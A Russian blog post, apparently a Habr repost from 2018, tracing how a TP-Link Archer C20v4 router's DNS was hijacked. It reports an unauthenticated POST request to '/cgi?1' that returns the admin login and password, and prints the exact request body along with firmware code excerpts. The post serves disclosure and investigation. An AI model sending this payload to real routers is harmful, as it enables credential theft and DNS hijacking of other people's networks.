...

четверг, 2 августа 2018 г.

[Из песочницы] По следам взлома tp-link

Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.

Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.
Что имеем:

  1. Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
  2. Внешний ip адрес на wan интерфейсе и открытый web доступ.
  3. Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
  4. Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.

Что нужно:
Выяснить, каким способом был получен доступ к устройству.

Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.

Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.

Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2( и 7), "[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]" и особый referer.

Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?

grep
grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);


Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:
doSetUsrName
    function doSetUsrName() {
        var xmlHttpObj;
        var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n";

        xmlHttpObj = getHttpObject(function() {
            if (xmlHttpObj.status == 200) {
                getUsrName();
            } else
                return;
        });
        xmlHttpObj.open("POST", "/cgi?2", true);
        xmlHttpObj.send(args);
    }



Эта функция при выполнении вызывает другую — getUsrName().

Функция получения логина:

getUsrName
 function getUsrName() {
        var xmlHttpObj;
        var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n";

        xmlHttpObj = getHttpObject(function() {
            if (xmlHttpObj.status == 200) {
                currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", "");
                doSetPassword();
            } else
                return;
        });
        xmlHttpObj.open("POST", "/cgi?1", true);
        xmlHttpObj.send(args);
    }



Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)
Вывод grep'а
grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml



Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:
XML
<X_TP_UserCfg t=o r=P s=USER_CFG_OBJ h=1 >
                <RootName t=s r=R l=16 al=cli h=1 />
                <RootPwd t=s r=R l=16 al=cli h=1 />
                <AdminName t=s r=W l=16 al=cli d=admin h=1 />
                <AdminPwd t=s r=W l=16 al=cli d=admin h=1 />
                <UserName t=s r=W l=16 al=cli h=1 />
                <UserPwd t=s r=W l=16 al=cli h=1 />
        </X_TP_UserCfg>


Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.

Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:

data
data = (
            "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
            "dataBlockSize=64\r\n"
            "timeout=1\r\n"
            "numberOfRepetitions=1\r\n"
            "host=127.0.0.1\r\n"
            "X_TP_ConnName=ewan_ipoe_s\r\n"
            "diagnosticsState=Requested\r\n"
        )


По аналогии формируем свой запрос:
data
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n"
"adminName\r\n"
"adminPwd\r\n"


Ииииии отправляем. В Wireshark'e пакет выглядит вот так:
запрос


Смотрим ответ:
ответ


Внимательный читатель заметит, что POST-запрос был отправлен к "/cgi?1", а не как в скрипте к "/cgi?2". Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.

Авторизуемся:

GET запрос


И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:
запрос


ответ


запрос


ответ


На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.

Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.

Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.

Let's block ads! (Why?)

Комментариев нет:

Отправить комментарий